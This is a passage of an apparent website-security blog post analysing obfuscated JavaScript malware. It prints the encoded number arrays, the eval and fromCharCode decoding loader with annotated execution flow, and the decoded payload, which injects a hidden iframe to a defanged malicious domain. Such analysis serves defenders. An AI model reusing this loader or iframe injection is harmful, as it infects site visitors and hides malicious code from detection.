&570&&532&&735&&756&&765&&742&&570&&532&&810&&742&&840&&532&&570&&686&&810&&700&&720&&532&&570&&686&&780&&770&&720&&532&&570&&686&&810&&742&&720&&532&&570&&686&&780&&798&&840&&532&&570&&686&&825&&700&&795&&532&&570&&756&&795&&784&&570&&532&&735&&742&&735&&742&&570&&532&&735&&756&&735&&672&&570&&532&&735&&756&&840&&672&&570&&532&&735&&728&&735&&728&&570&&532&&735&&728&&840&&742&&570&&532&&735&&728&&825&&672&&570&&532&&735&&728&&795&&742&&570&&532&&735&&742&&735&&700&&570&&532&&735&&756&&750&&672&&570&&532&&735&&756&&855&&728&&570&&532&&810&&770&&795&&532&&570&&686&&795&&798&&810&&532&&570&&686&&795&&686&&795&&532&&570&&686&&810&&686&&720&&532&&570&&686&&795&&686&&795&&532&&570&&686&&795&&798&&810&&532&&570&&686&&825&&770&&720&&532&&570&&686&&780&&686&&780&&532&&570&&686&&795&&672&&720&&532&&570&&756&&765&&672&&570&&532&&735&&742&&825&&742&&570&&532&&735&&742&&780&&672&&570&&532&&735&&728&&840&&742&&570&&532&&735&&742&&855&&756&&570&&532&&735&&742&&735&&742&&570&&532&&735&&714&&795&&784&&570&&532&&735&&770&&750&&742&&570&&532&&735&&728&&825&&672&&570&&532&&735&&756&&795&&672&&570&&532&&735&&728&&780&&700&&570&&532&&810&&798&&720&&532&&570&&686&&795&&756&&840&&532&&570&&686&&795&&756&&720&&532&&570&&686&&795&&756&&840&&532&&570&&742&&735&&672&&570&&532&&780&&728&&840&&532&&570&&686&&810&&742&&720&&532&&570&&686&&765&&742&&840&&532&&570&&686&&810&&714&&795&&532&&570&&686&&780&&686&&780&&532&&570&&798&&735&&742&&570&&532&&780&&770&&810&&532&&570&&686&&750&&756&&720&&532&&570&&686&&810&&756&&810&&532&&570&&686&&795&&770&&795&&532&&570&&686&&810&&700&&780&&532&&570&&686&&825&&728&&720&&532&&570&&686&&780&&686&&780&&532&&570&&686&&825&&686&&720&&532&&570&&728&&825&&756&&570&&532&&780&&784&&720&&532&&570&&686&&810&&686&&720&&532&&570&&686&&780&&784&&795&&532&&570&&686&&795&&798&&810&&532&&570&&686&&810&&756&&795&&532&&570&&686&&795&&686&&750&&532&&570&&686&&810&&700&&720&&532&&570&&686&&780&&770&&720&&532&&570&&686&&810&&742&&720&&532&&570&&686&&780&&728&&750&&532&&570&&798&&735&&742&&570&&532&&780&&770&&810&&532&&570&&686&&780&&742&&795&&532&&570&&686&&810&&714&&840&&532&&570&&686&&825&&728&&720&&532&&570&&686&&795&&742&&780&&532&&570&&742&&735&&672&&570&&532&&780&&728&&840&&532&&570&&686&&795&&714&&720&&532&&570&&686&&795&&798&&810&&532&&570&&686&&780&&742&&795&&532&&570&&686&&795&&700&&810&&532&&570&&686&&795&&686&&795&&532&&570&&686&&765&&770&&750&&532&&570&&686&&810&&756&&795&&532&&570&&686&&795&&798&&810&&532&&570&&686&&795&&672&&720&&532&&570&&686&&780&&686&&780&&532&&570&&686&&825&&686&&720&&532&&570&&784&&795&&728&&570&&532&&795&&686&&720&&532&&570&&686&&795&&728&&720&&532&&570&&686&&810&&756&&795&&532&&570&&728&&825&&756&&570&&532&&780&&784&&720&&532&&570&&686&&765&&742&&840&&532&&570&&686&&810&&700&&720&&532&&570&&686&&780&&770&&720&&532&&570&&686&&795&&728&&795&&532&&570&&686&&795&&728&&720&&532&&570&&798&&735&&742&&570&&532&&780&&770&&810&&532&&570&&686&&780&&784&&795&&532&&570&&686&&780&&686&&780&&532&&570&&686&&810&&742&&720&&532&&570&&686&&810&&700&&780&&532&&570&&686&&795&&686&&795&&532&&570&&686&&795&&798&&810&&532&&570&&742&&735&&672&&570&&532&&780&&728&&840&&532&&570&&686&&795&&756&&720&&532&&570&&686&&780&&686&&780&&532&&570&&686&&795&&770&&795&&532&&570&&686&&780&&728&&750&&532&&570&&686&&795&&756&&720&&532&&570&&686&&810&&700&&780&&532&&570&&798&&735&&742&&570&&532&&780&&770&&810&&532&&570&&770&&795&&672&&570&&532&&780&&770&&810&&532&&570&&728&&840&&672&&570&&532&&735&&756&&810&&756&&570&&532&&735&&742&&825&&742&&570&&532&&735&&728&&720&&672&&570&&532&&735&&770&&780&&672&&570&&532&&735&&728&&795&&756&&570&&532&&855&&686&&795&&532&&570&&728&&825&&756&&570&&532&&825&&742&&720&&532&&570&&728&&825&&756&&570&&532&&855&&714&&720&&532&&570&&784&&780&&672&&570&&532&&825&&672&&795&&532&&570&&686&&780&&770&&720&&532&&570&&686&&795&&714&&720&&532&&570&&686&&795&&798&&810&&532&&570&&686&&780&&742&&795&&532&&570&&686&&795&&700&&810&&532&&570&&686&&795&&686&&795&&532&&570&&784&&810&&784&&570&&532&&795&&784&&795&&532&&570&&742&&825&&728&&570&&532&&840&&784&&795&&532&&570&&686&&840&&700&&570&&532&&735&&742&&720&&476&&690&&1610&&1680&&1512&&1575&&1624&&600&&476&&570&&532&&510&&574&&885&&1456&&915&&700&&885&&1610&&915&&476&&510&&826&&1575&&1428&&600&&1526&&615&&1428&&1665&&1596&&600&&1470&&915&&672&&885&&1470&&675&&686&&855&&784&&495&&854&&720&&826&&1575&&854&&735&&602&&1575&&574&&1845&&1498&&915&&1470&&885&&1610&&645&&854&&1245&&1624&&1710&&1470&&1650&&1442&&1365&&1428&&1530&&1302&&600&&1540&&1365&&1470&&1395&&658&&600&&1470&&555&&1456&&645&&672&&735&&756&&615&&574&&885&&1750&&1515&&1652&&600&&1610&&615&&826&&1875".split("&&");
  13.     h = 2;
  14.     s = "";
  15.     if (m)
  16.         for (= 0; i - 1340 != 0; i = 1 + i) {
  17.             k = i;
  18.             s += String[ff](n[i] / (% h + 016));
  19.         }
  20.     ev(s);
  21. }

Obfuscation level 3


Beautified script:


  1. try {
  2.     vfE++;
  3. } catch (ABWTE) {
  4.     try {
  5.         GZDG | 15232
  6.     } catch (ewabgre) {
  7.         m = Math;
  8.         ev = window["" + "e" + "val"];
  9.     }
  10.     ff = "fromCha";
  11.     ff += "rCode";
  12.     n ="182&&150&&1400&&1665&&1386&&1755&&1526&&1515&&1540&&1740&&644&&1785&&1596&&1575&&1624&&1515&&560&&585&&840&&1575&&1428&&1710&&1358&&1635&&1414&&480&&1610&&1710&&1386&&915&&476&&1560&&1624&&1740&&1568&&870&&658&&705&&1652&&1515&&1596&&1500&&1470&&1485&&1624&&1500&&1414&&1485&&1512&&1575&&1386&&1605&&644&&1485&&1554&&1635&&658&&1620&&1470&&1650&&1498&&1725&&658&&1515&&1610&&1680&&1414&&1485&&1470&&1455&&1512&&1620&&1694&&675&&1596&&1515&&1610&&1515&&1596&&1770&&1414&&1500&&630&&1575&&1540&&1485&&1596&&1515&&1358&&1725&&1470&&1650&&1442&&690&&1568&&1560&&1568&&510&&448&&1650&&1358&&1635&&1414&&915&&476&&1260&&1666&&1575&&1624&&1740&&1414&&1710&&476&&480&&1610&&1485&&1596&&1665&&1512&&1620&&1470&&1650&&1442&&915&&476&&1455&&1638&&1740&&1554&&510&&448&&1530&&1596&&1455&&1526&&1515&&1372&&1665&&1596&&1500&&1414&&1710&&854&&510&&1540&&1665&&476&&480&&1358&&1620&&1470&&1545&&1540&&915&&476&&1485&&1414&&1650&&1624&&1515&&1596&&510&&448&&1560&&1414&&1575&&1442&&1560&&1624&&915&&476&&750&&476&&480&&1666&&1575&&1400&&1740&&1456&&915&&476&&750&&476&&930&&840&&705&&1470&&1530&&1596&&1455&&1526&&1515&&868&&585&&574&&885&&182&&150".split("&&");
  13.     h = 2;
  14.     s = "";
  15.     if (m)
  16.         for (= 0; i - 198 != 0; i = 1 + i) {
  17.             k = i;
  18.             s += String[ff](n[i] / (% h + 016));
  19.         }
  20.     ev(s);
  21. }



Now when combining all malware parts together, we can see the following execution flow (follow the comments in green for explanation):


  1. try {
  2.     /* invoke exception mechanism to enter following "catch" block */
  3.     vfE++;
  4. } catch (ABWTE) {
  5.     try {
  6.         /* invoke another exception to enter following "catch" block as well */
  7.         GZDG | 15232
  8.     } catch (ewabgre) {
  9.         /* m points to object Math */
  10.         m = Math;
  11.         /* ev points to JavaScript method "eval" */
  12.         ev = window["" + "e" + "val"];
  13.     }
  14.     ff = "fromCha";
  15.     ff += "rCode";  /* now ff set to "fromCharCode"
  16.     /* n will set to array of number from the following string */
  17.     n ="182&&150&&1400&&1665&&1386&&1755&&1526&&1515&&1540&&1740&&644&&1785&&1596&&1575&&1624&&1515&&560&&585&&840&&1575&&1428&&1710&&1358&&1635&&1414&&480&&1610&&1710&&1386&&915&&476&&1560&&1624&&1740&&1568&&870&&658&&705&&1652&&1515&&1596&&1500&&1470&&1485&&1624&&1500&&1414&&1485&&1512&&1575&&1386&&1605&&644&&1485&&1554&&1635&&658&&1620&&1470&&1650&&1498&&1725&&658&&1515&&1610&&1680&&1414&&1485&&1470&&1455&&1512&&1620&&1694&&675&&1596&&1515&&1610&&1515&&1596&&1770&&1414&&1500&&630&&1575&&1540&&1485&&1596&&1515&&1358&&1725&&1470&&1650&&1442&&690&&1568&&1560&&1568&&510&&448&&1650&&1358&&1635&&1414&&915&&476&&1260&&1666&&1575&&1624&&1740&&1414&&1710&&476&&480&&1610&&1485&&1596&&1665&&1512&&1620&&1470&&1650&&1442&&915&&476&&1455&&1638&&1740&&1554&&510&&448&&1530&&1596&&1455&&1526&&1515&&1372&&1665&&1596&&1500&&1414&&1710&&854&&510&&1540&&1665&&476&&480&&1358&&1620&&1470&&1545&&1540&&915&&476&&1485&&1414&&1650&&1624&&1515&&1596&&510&&448&&1560&&1414&&1575&&1442&&1560&&1624&&915&&476&&750&&476&&480&&1666&&1575&&1400&&1740&&1456&&915&&476&&750&&476&&930&&840&&705&&1470&&1530&&1596&&1455&&1526&&1515&&868&&585&&574&&885&&182&&150".split("&&");
  18.     h = 2;
  19.     s = "";
  20.     if (m) /* m points to Math so execution flow enters this code */
  21.         /*
  22.          * run over numbers in n and build string using decoding formula
  23.          * String.fromCharCode(n[i] / (i % 2 + 016))
  24.          */
  25.         for (= 0; i - 198 != 0; i = 1 + i) {
  26.             k = i;
  27.             /* following line is identical to s += String.fromCharCode(n[i] / (i % 2 + 016)) */
  28.             s += String[ff](n[i] / (% h + 016));
  29.         }
  30.     /* now s contains generated script/iframe and call eval to execute newly generated script */
  31.     ev(s);
  32. }


Malicious payload


Decoded payload injects hidden iframe leading to http://verdictdeclick[.]com/links/especially-reserved-increasing.php

Unfortunately, .php was not available for downloading, hence cannot say anything except for the namings: click, links, especially reserved and etc...

We already discussed the use of hidden iframes techniques in this post on blackhat SEO.



  1. document.write('<iframe src="http://verdictdeclick[.]com/links/especially-reserved-increasing.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>');


Blacklisting status

At the time this post is created the domain is blacklisted by Google.

Google Safe Browsing Diagnostic report


View Google Safe Browsing report.

Malware clean-up

Scanning website for malware online is fast and easy. Follow this short Online Website Malware Scanner video tutorial to scan website(s) in real-time and to avoid cyber infection.

If you suspect that your website is infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.